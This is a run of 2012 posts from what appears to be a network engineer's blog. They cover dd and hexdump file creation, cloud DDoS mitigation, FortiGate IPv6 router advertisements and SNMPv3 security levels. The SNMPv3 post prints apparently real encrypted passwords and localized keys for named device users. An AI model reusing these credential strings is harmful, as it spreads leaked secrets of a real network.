dynamic-90:~ kfelix$ dd  if=/dev/random of=./myfile.file bs=1024 count=1000
1000+0 records in
1000+0 records out
1024000 bytes transferred in 0.076096 secs (13456676 bytes/sec)
dynamic-90:~ kfelix$ sh
sh-3.2$ dd  if=/dev/random of=./myfile.file bs=1024 count=1000
1000+0 records in
1000+0 records out
1024000 bytes transferred in 0.073255 secs (13978602 bytes/sec)
sh-3.2$ 

and a quick listing of the file shows

-rw-r--r--  1 kfelix  1523313980  1024000 Dec 13 17:16 myfile.file

You can confirm the contents using the unix od or hexdump cmd;

e.g
sh-3.2$ od myfile.file

sh-3.2$ hexdump myfile.file

the Data should be randomize

Now let's do the same but using  a file padded with zeros

 sh-3.2$
sh-3.2$ dd  if=/dev/zero of=./myfile.file bs=1024 count=1000
1000+0 records in
1000+0 records out
1024000 bytes transferred in 0.005179 secs (197724302 bytes/sec)
sh-3.2$
sh-3.2$
sh-3.2$ ls -l myfile.file
-rw-r--r--  1 kfelix  1523313980  1024000 Dec 13 17:20 myfile.file
sh-3.2$

Okay and od and hexdump will show us the contents;

sh-3.2$ od myfile.file
0000000    000000  000000  000000  000000  000000  000000  000000  000000
*
3720000
sh-3.2$ 

sh-3.2$ hexdump myfile.file
0000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*
00fa000
sh-3.2$

sh-3.2$ hexdump myfile.file 



i hope this was helpful, happy packet forging

Ken Felix
Freelance Network Security Engineer
kfelix  a-t hyperfeed dot com

Posted by at No comments:

Thursday, December 6, 2012

DDoS protection and solutions

-->

The DDoS  community has grown over the years and has become more involved for both the attacker and defender. The challenges for a enterprise business to mitigate these attacks locally , has become a nightmare & not practical. Even if you deploy a  on-premise gear, that 100% blocks the attack, the attacker still kind of won if  he manages to fill your internet uplinks with 100% useless traffic.

If you trust your ISP to mitigate, you normally get a very bad result, since they cut with a broad sword. Asking your ISP to mitigate for you is like going to the doctor with a small splinter in your finger and instead of pulling the splinter out with a pair of tweezers, the ISP just cuts your whole hand off,  or worst cut your arm off. Your results would not be any better off if you just left the splinter in your finger .

The new wave of mitigation involves, using a cloud base approach. With cloud base DDoS solutions, we deploy a in-the-cloud datacenter,  and install a lot of mitigation gear and big fat pipes into these scrub centers.

All in-the-cloud providers, hopes that the traffic inbound ( good and bad )  & at that one scrub center is below their available capacity of that scrub center and no single customer exhaust resources. With the in-the-cloud mitigation approach, you place all of your resources within the cloud provider arena.

Look at this way, let’s say you where a 90lb petite female, and you had to fight off Mike Tyson. The odds are against you that you  will LOOSE.  So if you hire a whole bunch of guys weighing between 120-187lbs each, and put them in front of yourself. The odds are  now that you will win. Also they will get  punch, kicked, bruised and black’d eye while you sit back , and do your nails un-impacted.

If the attacks are very huge, you just throw in more guys or switch them out with fresh bodies.

All in-the-cloud providers, have readily means to growth their uplink bandwidth,  and to scale their core mitigation gear wide and deep if required. Also the ramp up to do this, is quick in most case or more quickly than a large enterprise business could execute.

Now let’s look at what every  in-the-could mitigation  provides to some degree.
Now most solutions revolves around 1 of  the 2 technologies listed below;


·      A reverse Proxy-server  ( some  brand of a SLB server-load-balancer appliance )
·      Or some type of virtual tunnel or direct connection to the DDoS Service Provider network

In all of the above, they will need to steer traffic into  the Cloud,  and away from  you’re your front door ( your network ). So with the proxy-server solution, we typically deploy a DNS A  record redirection &  the change points your website to the Virtual-Server IP ( aka VIP ) and then all bad traffic naturally flows to the VIP,  if the attacker is using a attack via DNS hostname.

Even if he  ( attacker )  targets your ip-address directly, you  normally deploy some simple fwpolicies to only allow deny direct access from the mitigation provider trusted space.

The virtual-tunnel or direct-connected  solution, just nails your full network space behind the Mitigation provider space. All traffic entering your network space, travels thru the  service provider arena first. This allows for inspection, monitoring , mitigation and filtering of traffic. This connection is permanent and mutually agreed upon by the end-user and provider of mitigation service provider. It offer highly uptime, and lower latency.

With the Virtual-Server/direct-connections design, you can now leverage cloud base WAF, compliances inspection, and  other hosted security protection models such as flowspec, fingerprinting and ip reputation scoring. We also have the means to leverage AV/Malware cleanup at the expensive of even greater cost and possible increased latency.

In all approaches, latency does increase to some degree, but only due to your remote-client’s traffic must travel thru a path of the mitigation provider network space & platform, in order to be inspected , policed and hopefully allowed thru. This latency increase is normally minimal and  within acceptable levels.

Now a few challenges  exists with the cloud-base solution;

·      SSL inspection is still in jeporday  if certificates and web server private-keys are not provided

·      In-the-cloud providers, must maintain a higher number of bodies and  offer 24x7 coverage for the  monitoring and mitigation process during the duration of the attack

·      Unless the service is  always-on, it’s hard to determine when a attack begins or even a quick means to even figure out the type of attack(s)

( I will speak more about this in a future post )

·      Customer have to make minimal changes,  in order to integrate into the service provider systems & networks

·      Training of their IT staff is time consuming

·      Attack intelligence is limited, and not shared amongst providers, hampering quick distribution of knowledge and threats indications

·      Almost no DDoS Provider , can honestly  claim 100% effectiveness ( there’s always leakage and legit traffic that  get’s over mitigated )

·      It’s almost next to impossible to use gathered forensic,  to identify and or prosecuted ALL attackers. The cost  and  the pure fact that the attackers could be anywhere from here to Mars,  make this point very hard to followup on, or the attack src's are spoof'd or infected bot agents.

Now we need to look at what types of attacks these in-the-cloud providers protect from.  Basically any and all.

Yes with the right mitigation  gear ,we can easily defend from pure bandwidth attacks , l3/l4 protocol attacks, redirection attacks, Layer7 application attacks, to include GET/POST floods or  those base off  SQL injection.

With AV/Malware  supported gear, we can even cleanup the traffic from virus, worms and Trojans. This along will reduce the chance of a infection or a machine  that could later infected others or become a member of a future bot attack.

DDoS mitigation is an on going chess game , of the  good guys various  the bad guys. In a never ending  battle.

Ken Felix
Freelance Network and Security Engineer
Let the battles begin J

kfelix   at  hyperfeed dot com






Posted by at No comments:

Tuesday, December 4, 2012

ipv6 fortigate style

This post talks about ipv6 setup for a typical ipv6-intf and setting  route-advertisements ( RAs ),
in this case I'm using a  fortigate FGT200A but the setup will be the same for  any version 4 fortigate firewall. I will show a example of my configuration

The systems specs are;


FG200A2106401308 # get sys status
Version: Fortigate-200A v4.0,build0646,121119 (MR3 Patch 11)
Virus-DB: 14.00000(2011-08-24 17:17)
IPS-DB: 3.00150(2012-02-15 23:15)
FortiClient application signature package: 1.131(2012-11-19 18:33)
Serial-Number: FG200A2106401308
BIOS version: 04000000
Log hard disk: Not available
Hostname: FG200A2106401308
Operation Mode: NAT
Current virtual domain: root
Max number of virtual domains: 10
Virtual domains status: 1 in NAT mode, 0 in TP mode
Virtual domain configuration: disable
FIPS-CC mode: disable
Current HA mode: standalone
Distribution: International
Branch point: 646
Release Version Information: MR3 Patch 11
System time: Tue Dec  4 18:07:40 2012

So when configuration of the  ipv6,  you can set the  ipv6 address within the WebUI interface but all other  settings are typicall set from the cli.

To configure ipv6,  you  have  to enter a sub-config area called config ipv6, and within this sub-area, you can do the following;

  • enable ipv6
  • enable ipv6 alllowaccess for management function
  • set ipv6 RA announcements and values

RA allows for SLAAC configurations for any  ipv6 enable hosts, and must be configured for  SLAAC operations to commence. To start, you need to identify the interface(s) that will be ipv6 enable. In my case, I'm using the internal switch interface , known simply as "internal"

So I've highlighted the configurations details that pertains to ipv6 functions;


  edit "internal"
        set vdom "root"
        set ip 10.10.10.1 255.255.255.0
        set allowaccess ping https ssh
        set type physical
        set alias "inside"
            config ipv6
                set ip6-address 2001:11::1/64
                set ip6-allowaccess ping https ssh snmp
                    config ip6-prefix-list
                        edit 2001:11::/64
                            set autonomous-flag enable
                            set preferred-life-time 600
                            set valid-life-time 600
                        next
                    end
                set ip6-retrans-time 4000
                set ip6-send-adv enable
            end
    next

Now let's talk about these settings; the line ip6-address 2001:11::1/64 assigns the address and prefix.The next line tells us what  access is allowed for management towards this ipv6 interface { ping;https;ssh;snmp}

The next lines allows for configurations and allowance of  a ipv6 prefix announcements and the prefix for that RA. This will allow for any ipv6 host to be autconf with a ipv6 address using its oui-64 address;

e.g ( my macbook using it's systems ethernet bia, it  received the prefix and auto-assigned it's address using that burn-in-address that has been converted for the lower 64bits of the 128 bit address )

 hyperfeed-MacBook:~ kenfelix1$ ifconfig en0 inet6
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
    inet6 fe80::21f:5bff:feea:afa%en0 prefixlen 64 scopeid 0x4
    inet6 2001:11::21f:5bff:feea:afa prefixlen 64 autoconf
hyperfeed-MacBook:~ kenfelix1$

As you can see I have a ipv6 address,  due to the  ipv6 prefix-list assignment and send-advertisements configuration.

After you configure the ipv6 interfaces, you can now craft ipv6  fwpolicies.

I hope  this quick post , helps you with ipv6 configuration in a Fortinet Fortigate firewall appliance.

Ken Felix  "freelance network and security" engineer
kfelix" @" hyperfeed dot com


Posted by at 4 comments:

Monday, December 3, 2012

SNMPv3 ( for security )

-->
Understanding the different security levels in SNMPv3. SNMPv3 operates in one of three means
  • noAuthNoPriv
  • authNoPriv
  • authPriv 

The following graph shows the  various levels of security in SNMPv1 thru 3

1st SNMP  v1 & v2c was weak with regards to security,  in that it  used  communities. Until recently, it only relied on a RO/RW community for set operations,  had no means to strict a user with access to that communities, nor the means to read or write certain mibs.

The following shows the level of security in SNMPv1 thru 3

With SNMP-VIEWs we can block and control accesss to certain mibs/oids;  “Btw snmp-views can be applied on numerous cisco devices &  to any  version of SNMP ( 1-3 )

 So what is  noAuthNoPriv ?  authNoPriv ? and authPriv? 

Simple the 1st provides no authentication or privacy , the 2nd provides validation of the user by “Authentication”+”integrity” of the data  and the latter provides both Authentication ( who are you ) and Privacy ( encryption ) of the SNMP traffic, and it validates integrity of the message.

Here’s  example data seen in the wild with of noAuthNOpriv;

1.712879 172.23.44.77 -> 11.11.11.131 SNMP getBulkRequest IF-MIB::ifIndex IF-MIB::ifSpeed IF-MIB::ifHighSpeed IF-MIB::ifDescr IF-MIB::ifOperStatus IF-MIB::ifAlias IF-MIB::ifName


The request in this case, is a BulkRequest , and the oids being queried; " are in the clear". Anybody in the path that intercepts this request/response can see  the network-manager and agent  data.

Here’s the same thing but now encrypted;


1.712879 172.23.44.77 -> 11.11.11.131 SNMP encryptedPDU: privKey Unknown

Data is fully encrypted and protected from any  M-I-M ( man-in-middle ) or any external eyes. I should also mention in the above examples, the  requests & responses would be encrypted also.

Okay so why would I choose one of the other ? Will  that all depends on your SNMP manager  and  agents capabilities.  The security level authPriv does provide the greatest level of protection from  various  threats to include but not limited to  ;

Data harvest , DoS,  the leaking of  Sensitive information.

Your company should have a security-policy in place to analyze the risks with SNMP traffic internally and external to your network. My thoughts on the matters has been to always deploy  SNMPv3 both int/external  to the network, but that has not always been doable.

Example; most nagios plugins are badly written for SNMPv3 and needs to be re-built.


If the above is not immediately doable and you must query items from abroad, you can rely on network encryption via ipsec. This would protect from MIMI,  but I must warn you , that the traffic  exposed outside of the ipsec encryption tunnel pre/post encryption is still vulnerable to be compromised. If you can’t 100% validate that these segments are secured, you might want to take a hard stance and mandate SNMPv3 compliant network managers and agents, or build ipsec from the devices that are operating as SNMP manager and agents.

2nd I would not rely  on just SNMPv1/v2c with  RW and ACLs. These packets can be  spoof’d and  with the attacker knowing the community , he/she could just spoof’d the SNMP-GET/SETs or requests/responses.

 Bottom line, if you are in a sector that demands the highest level of security with regards to your management traffic, SNMPv3 is a must.

 Now when we deploy SNMPv3 a few items about cisco;

Not all cisco support all levels of encryption. Yeap ; DES ,3DES even AES is not always supported.

Here's a sample of various devices  with their  SNMPv3 configurations;

(Cisco 760000  des56 only )

snmp-server group drsv v3 priv read dpvread
snmp-server view drsvread iso included
snmp-server view drsvread mib-2 included
snmp-server view drsvread system included
snmp-server view drsvread cisco included
snmp-server location NAPMIA.34AC1_11
snmp-server contact xxxx@hyperfeed.com 
snmp-server user kfelix drsv v3 auth md5 sedddddddd priv des56 seddddddddddd



( Fortigate 3800 )

config system snmp user
    edit "nms"
        set security-level auth-priv
        set auth-pwd ENC bml0eRNv/GC4Z/gohnk2CtHn82+qdPCudgyRs3JUKGa0aAADtcU374bFVCDcthiL6ei50JhXIE8xdWJnllCXJnc1ZCBHUZ1gxFg96X2/5sJRLQc/
        set priv-pwd ENC bml0eRNv/GC4Z/goAaqdFIIERklHDjSBe+/lfitWy2Sk9YehrJILBSaNibWIxGolx4XMjlSC7NxqW/6hbx+SEWvcHf6KOHEsxBM+QxxNnb64PuSR
    next

    edit "nmsmgr"
        set security-level auth-no-priv
        set auth-proto md5
        set auth-pwd ENC bml0efK1pWEonL7waf7UNccVmJkkfWnjOpE6S1bY/JtqzB7qcfbGzG/k5KU63Zt4rAyYqb2fCFH9AiRsPMWaL52Aah7j5KtmehgniCJ+J6R1Xa3d
    next
end

(Nexus)
mia_drscr01# sh snmp user
______________________________________________________________
                  SNMP USERS
______________________________________________________________

User                          Auth  Priv(enforce) Groups                       
____                          ____  _____________ ______                       
nms                           sha   aes-128(no)   network-operator             

adminnet                         sha   des(no)       network-admin                

opsview                       sha   aes-128(no)   network-operator             

______________________________________________________________
 NOTIFICATION TARGET USERS (configured  for sending V3 Inform)
______________________________________________________________

User                          Auth  Priv 


mia_drscr01# sh run | i snmp
logging level snmpd 0
snmp-server user nms network-operator auth sha 0xe31234a06ae8c98664099643e2af8691902d6a007f priv aes-128 0xf50691b2d701460ab236c912feaf486bcd2f224c localizedkey
 
snmp-server user adminnet network-admin auth sha 0xe323a06ae8c98664099643e2af8691902d6a007f priv 0xe323a06ae8c98664099643e2af8691902d6a007f localizedkey
 
snmp-server user opsview network-operator auth sha 0xd0ce4972bf941c2bbb8d2cacbb813e3df14f8a90 priv aes-128 0x960230beaebb516cb7ecdb3abca22137ac1ae0d86 localizedkey


I hope you found this post interesting. I will discuss more about snmp tools such as 

  • snmpset
  • snmpget
  • snmpwalk

later on down the line.


Freelance  Network and Security 
Kfelix " a t " hyperfeed.com

Posted by at No comments:
Subscribe to: Posts (Atom)